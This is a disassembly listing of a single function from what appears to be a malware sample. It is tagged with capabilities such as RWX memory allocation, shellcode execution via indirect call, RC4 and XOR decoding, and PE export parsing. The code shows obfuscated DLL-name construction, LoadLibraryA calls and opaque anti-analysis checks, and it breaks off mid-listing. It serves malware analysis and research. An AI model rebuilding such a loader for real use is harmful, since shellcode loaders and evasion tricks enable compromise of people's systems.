Function at 0x14000f6ec
Capabilities:
Allocate or change rwx memory
Authenticate hmac
Create process on windows
Encode data using base64
Encode data using xor
Encrypt data using rc4 ksa
Execute shellcode via indirect call
Generate random numbers using a mersenne twister
Parse pe header
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x48798]
mov eax, 0x48870
call fcn.14008f970
sub rsp, rax
mov rax, qword [0x1400e8700]
xor rax, rsp
mov qword [rbp + 0x48760], rax
mov rax, qword gs:[5]
mov ebx, 0x9fee5bf
mov esi, 0x239efcea
mov r15d, 0x2c920067
cmp rax, r15
jne 0x14000f7f0
mov rcx, qword gs:[0x47]
xor edx, edx
mov eax, r15d
div rcx
mov qword [rbp + 0x1020], rdx
mov rcx, qword gs:[0x47]
xor edx, edx
mov eax, ebx
div rcx
mov qword [rbp + 0x1028], rdx
mov rcx, qword gs:[0x47]
xor edx, edx
mov eax, esi
div rcx
mov qword [rbp + 0x1030], rdx
mov rcx, qword gs:[0x47]
mov rax, qword [rbp + 0x1020]
cmp rax, rcx
je 0x14000f7d0
mov rcx, qword gs:[0x47]
mov rax, qword [rbp + 0x1028]
cmp rax, rcx
je 0x14000f7d0
mov rcx, qword gs:[0x47]
mov rax, qword [rbp + 0x1030]
cmp rax, rcx
jne 0x14000f7f0
mov rax, qword [rbp + 0x1030]
mov rdx, qword [rbp + 0x1028]
xor rdx, rax
mov rcx, qword [rbp + 0x1020]
xor ecx, edx
call fcn.140096078
int3
mov ecx, r15d
call fcn.14000beb0
mov rax, qword gs:[5]
mov edi, 0x4f310379
cmp rax, r15
jne 0x14000f8a7
mov rax, qword gs:[0x47]
xor rax, rdi
mov qword [rbp + 0x1020], rax
mov rax, qword gs:[0x47]
xor rax, rdi
mov qword [rbp + 0x1028], rax
mov rax, qword gs:[0x47]
xor rax, rdi
mov qword [rbp + 0x1030], rax
mov rcx, qword gs:[0x47]
mov rax, qword [rbp + 0x1020]
cmp rax, rcx
je 0x14000f887
mov rcx, qword gs:[0x47]
mov rax, qword [rbp + 0x1028]
cmp rax, rcx
je 0x14000f887
mov rcx, qword gs:[0x47]
mov rax, qword [rbp + 0x1030]
cmp rax, rcx
jne 0x14000f8a7
mov rax, qword [rbp + 0x1030]
mov rdx, qword [rbp + 0x1028]
xor rdx, rax
mov rcx, qword [rbp + 0x1020]
xor ecx, edx
call fcn.140096078
int3
mov rax, qword gs:[5]
movabs rcx, 0xc0acb0b38b17a751
cmp rax, r15
jne 0x14000f95b
mov rax, qword gs:[0x47]
xor rax, rcx
mov qword [rbp + 0x1020], rax
mov rax, qword gs:[0x47]
xor rax, rcx
mov qword [rbp + 0x1028], rax
mov rax, qword gs:[0x47]
xor rax, rcx
mov qword [rbp + 0x1030], rax
mov rcx, qword gs:[0x47]
mov rax, qword [rbp + 0x1020]
cmp rax, rcx
je 0x14000f93b
mov rcx, qword gs:[0x47]
mov rax, qword [rbp + 0x1028]
cmp rax, rcx
je 0x14000f93b
mov rcx, qword gs:[0x47]
mov rax, qword [rbp + 0x1030]
cmp rax, rcx
jne 0x14000f95b
mov rax, qword [rbp + 0x1030]
mov rdx, qword [rbp + 0x1028]
xor rdx, rax
mov rcx, qword [rbp + 0x1020]
xor ecx, edx
call fcn.140096078
int3
mov ecx, r15d
call fcn.14000eb40
mov rax, qword gs:[5]
cmp rax, r15
jne 0x14000fa1c
mov rcx, qword gs:[0x47]
xor edx, edx
mov rax, r15
div rcx
mov qword [rbp + 0x1020], rdx
mov rcx, qword gs:[0x47]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0x1028], rdx
mov rcx, qword gs:[0x47]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0x1030], rdx
mov rcx, qword gs:[0x47]
mov rax, qword [rbp + 0x1020]
cmp rax, rcx
je 0x14000f9fc
mov rcx, qword gs:[0x47]
mov rax, qword [rbp + 0x1028]
cmp rax, rcx
je 0x14000f9fc
mov rcx, qword gs:[0x47]
mov rax, qword [rbp + 0x1030]
cmp rax, rcx
jne 0x14000fa1c
mov rax, qword [rbp + 0x1028]
mov rdx, qword [rbp + 0x1020]
xor rdx, rax
mov rcx, qword [rbp + 0x1030]
xor ecx, edx
call fcn.140096078
int3
mov rax, qword gs:[5]
cmp rax, r15
jne 0x14000fac6
mov rax, qword gs:[0x47]
xor rax, rdi
mov qword [rbp + 0x1020], rax
mov rax, qword gs:[0x47]
xor rax, rdi
mov qword [rbp + 0x1028], rax
mov rax, qword gs:[0x47]
xor rax, rdi
mov qword [rbp + 0x1030], rax
mov rcx, qword gs:[0x47]
mov rax, qword [rbp + 0x1020]
cmp rax, rcx
je 0x14000faa6
mov rcx, qword gs:[0x47]
mov rax, qword [rbp + 0x1028]
cmp rax, rcx
je 0x14000faa6
mov rcx, qword gs:[0x47]
mov rax, qword [rbp + 0x1030]
cmp rax, rcx
jne 0x14000fac6
mov rax, qword [rbp + 0x1030]
mov rdx, qword [rbp + 0x1028]
xor rdx, rax
mov rcx, qword [rbp + 0x1020]
xor ecx, edx
call fcn.140096078
int3
lea rdx, [0x1400dbea0]
lea rcx, [rbp + 0xea0]
call fcn.140030e94
mov rdx, rax
mov ecx, r15d
call fcn.14000d3d8
mov rax, qword gs:[5]
cmp rax, r15
jne 0x14000fb9d
mov rcx, qword gs:[0x47]
xor edx, edx
mov rax, r15
div rcx
mov qword [rbp + 0x1020], rdx
mov rcx, qword gs:[0x47]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0x1028], rdx
mov rcx, qword gs:[0x47]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0x1030], rdx
mov rcx, qword gs:[0x47]
mov rax, qword [rbp + 0x1020]
cmp rax, rcx
je 0x14000fb7d
mov rcx, qword gs:[0x47]
mov rax, qword [rbp + 0x1028]
cmp rax, rcx
je 0x14000fb7d
mov rcx, qword gs:[0x47]
mov rax, qword [rbp + 0x1030]
cmp rax, rcx
jne 0x14000fb9d
mov rax, qword [rbp + 0x1030]
mov rdx, qword [rbp + 0x1028]
xor rdx, rax
mov rcx, qword [rbp + 0x1020]
xor ecx, edx
call fcn.140096078
int3
mov rax, qword gs:[5]
cmp rax, r15
jne 0x14000fc47
mov rax, qword gs:[0x47]
xor rax, rdi
mov qword [rbp + 0x1020], rax
mov rax, qword gs:[0x47]
xor rax, rdi
mov qword [rbp + 0x1028], rax
mov rax, qword gs:[0x47]
xor rax, rdi
mov qword [rbp + 0x1030], rax
mov rcx, qword gs:[0x47]
mov rax, qword [rbp + 0x1020]
cmp rax, rcx
je 0x14000fc27
mov rcx, qword gs:[0x47]
mov rax, qword [rbp + 0x1028]
cmp rax, rcx
je 0x14000fc27
mov rcx, qword gs:[0x47]
mov rax, qword [rbp + 0x1030]
cmp rax, rcx
jne 0x14000fc47
mov rax, qword [rbp + 0x1030]
mov rdx, qword [rbp + 0x1028]
xor rdx, rax
mov rcx, qword [rbp + 0x1020]
xor ecx, edx
call fcn.140096078
int3
mov byte [rbp + 0x150], WSACleanup
mov r12d, 9
mov r9d, r12d
xor r8d, r8d
mov dl, WSAGetLastError
lea rcx, [rbp + 0x150]
call fcn.140030840
mov byte [rbp + 0x151], al
mov r9d, r12d
lea ebx, [r12 - 8]
mov r8d, ebx
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x150]
call fcn.140030840
mov byte [rbp + 0x152], al
mov r9d, r12d
lea r8d, [r12 - 7]
mov dl, 0x64
lea rcx, [rbp + 0x150]
call fcn.140030840
mov byte [rbp + 0x153], al
mov r9d, r12d
lea eax, [rbx + 2]
mov qword [rbp - 0x40], rax
mov r8d, eax
mov dl, 0x6c
lea rcx, [rbp + 0x150]
call fcn.140030840
mov byte [rbp + 0x154], al
mov r9d, r12d
lea r14d, [r12 - 5]
mov r8d, r14d
mov dl, 0x6c
lea rcx, [rbp + 0x150]
call fcn.140030840
mov byte [rbp + 0x155], al
mov r9d, r12d
lea r8d, [r12 - 4]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0x150]
call fcn.140030840
mov byte [rbp + 0x156], al
mov r9d, r12d
lea esi, [rbx + 5]
mov r8d, esi
mov dl, 0x64
lea rcx, [rbp + 0x150]
call fcn.140030840
mov byte [rbp + 0x157], al
mov r9d, r12d
lea r13d, [r12 - 2]
mov r8d, r13d
mov dl, 0x6c
lea rcx, [rbp + 0x150]
call fcn.140030840
mov byte [rbp + 0x158], al
mov r9d, r12d
lea r8d, [r12 - 1]
mov dl, 0x6c
lea rcx, [rbp + 0x150]
call fcn.140030840
mov byte [rbp + 0x159], al
xor eax, eax
mov byte [rbp + 0x15a], al
mov edi, eax
mov r9, r12
mov r8, rdi
mov dl, byte [rbp + rdi + 0x151]
lea rcx, [rbp + 0x150]
call fcn.140030840
mov byte [rbp + rdi + 0x151], al
add rdi, rbx
cmp rdi, r12
jb 0x14000fd67
xor eax, eax
mov byte [rbp + 0x15a], al
lea rcx, [rbp + 0x151]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rax, qword gs:[5]
cmp rax, r15
jne 0x14000fe61
mov rcx, qword gs:[0x47]
xor edx, edx
mov rax, r15
div rcx
mov qword [rbp + 0x1020], rdx
mov rcx, qword gs:[0x47]
xor edx, edx
mov eax, 0x9fee5bf
div rcx
mov qword [rbp + 0x1028], rdx
mov rcx, qword gs:[0x47]
xor edx, edx
mov eax, 0x239efcea
div rcx
mov qword [rbp + 0x1030], rdx
mov rcx, qword gs:[0x47]
mov rax, qword [rbp + 0x1020]
cmp rax, rcx
je 0x14000fe41
mov rcx, qword gs:[0x47]
mov rax, qword [rbp + 0x1028]
cmp rax, rcx
je 0x14000fe41
mov rcx, qword gs:[0x47]
mov rax, qword [rbp + 0x1030]
cmp rax, rcx
jne 0x14000fe61
mov rax, qword [rbp + 0x1030]
mov rdx, qword [rbp + 0x1028]
xor rdx, rax
mov rcx, qword [rbp + 0x1020]
xor ecx, edx
call fcn.140096078
int3
mov rax, qword gs:[5]
cmp rax, r15
jne 0x14000ff15
mov rax, qword gs:[0x47]
movabs rcx, 0xc0acb0b38b17a751
xor rax, rcx
mov qword [rbp + 0x1020], rax
mov rax, qword gs:[0x47]
xor rax, rcx
mov qword [rbp + 0x1028], rax
mov rax, qword gs:[0x47]
xor rax, rcx
mov qword [rbp + 0x1030], rax
mov rcx, qword gs:[0x47]
mov rax, qword [rbp + 0x1020]
cmp rax, rcx
je 0x14000fef5
mov rcx, qword gs:[0x47]
mov rax, qword [rbp + 0x1028]
cmp rax, rcx
je 0x14000fef5
mov rcx, qword gs:[0x47]
mov rax, qword [rbp + 0x1030]
cmp rax, rcx
jne 0x14000ff15
mov rax, qword [rbp + 0x1030]
mov rdx, qword [rbp + 0x1028]
xor rdx, rax
mov rcx, qword [rbp + 0x1020]
xor ecx, edx
call fcn.140096078
int3
mov byte [rbp + 0x220], reloc.WS2_32.dll_listen
mov edi, ntohs
mov r9d, edi
xor r8d, r8d
mov dl, 0x6b
lea rcx, [rbp + 0x220]
call fcn.140030504
mov byte [rbp + 0x221], al
mov r9d, edi
mov r8, rbx
mov dl, 0x65
lea rcx, [rbp + 0x220]
call fcn.140030504
mov byte [rbp + 0x222], al
mov r9d, edi
lea r8d, [rdi - 0xa]
mov dl, WSAStartup
lea rcx, [rbp + 0x220]
call fcn.140030504
mov byte [rbp + 0x223], al
mov r9d, edi
lea r8d, [rdi - 9]
mov dl, WSAGetLastError
lea rcx, [rbp + 0x220]
call fcn.140030504
mov byte [rbp + 0x224], al
mov r9d, edi
mov r8, r14
mov dl, 0x65
lea rcx, [rbp + 0x220]
call fcn.140030504
mov byte [rbp + 0x225], al
mov r9d, edi
lea r8d, [rdi - 7]
mov dl, 0x6c
lea rcx, [rbp + 0x220]
call fcn.140030504
mov byte [rbp + 0x226], al
mov r9d, edi
mov r8, rsi
mov dl, 0x33
lea rcx, [rbp + 0x220]
call fcn.140030504
mov byte [rbp + 0x227], al
mov r9d, edi
mov r8, r13
mov dl, reloc.WLDAP32.dll_Ordinal_50
lea rcx, [rbp + 0x220]
call fcn.140030504
mov byte [rbp + 0x228], al
mov r9d, edi
lea r8d, [rdi - 4]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0x220]
call fcn.140030504
mov byte [rbp + 0x229], al
mov r9d, edi
mov r8, r12
mov dl, 0x64
lea rcx, [rbp + 0x220]
call fcn.140030504
mov byte [rbp + 0x22a], al
mov r9d, edi
lea eax, [rdi - 2]
mov qword [rbp - 0x68], rax
mov r8d, eax
mov dl, 0x6c
lea rcx, [rbp + 0x220]
call fcn.140030504
mov byte [rbp + 0x22b], al
mov r9d, edi
lea r8d, [rdi - 1]
mov dl, 0x6c
lea rcx, [rbp + 0x220]
call fcn.140030504
mov byte [rbp + 0x22c], al
xor eax, eax
mov byte [rbp + 0x22d], al
mov edi, eax
mov r9d, ntohs
mov r8, rdi
mov dl, byte [rbp + rdi + 0x221]
lea rcx, [rbp + 0x220]
call fcn.140030504
mov byte [rbp + rdi + 0x221], al
add rdi, rbx
cmp rdi, 0xc
jb 0x14001006f
xor esi, esi
mov byte [rbp + 0x22d], sil
lea rcx, [rbp + 0x221]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rax, qword gs:[5]
mov edi, 0x4f310379
cmp rax, r15
jne 0x140010160
mov rax, qword gs:[0x47]
xor rax, rdi
mov qword [rbp + 0x1020], rax
mov rax, qword gs:[0x47]
xor rax, rdi
mov qword [rbp + 0x1028], rax
mov rax, qword gs:[0x47]
xor rax, rdi
mov qword [rbp + 0x1030], rax
add byte [rbp + 0x48], ah
mov ecx, dword [0x47]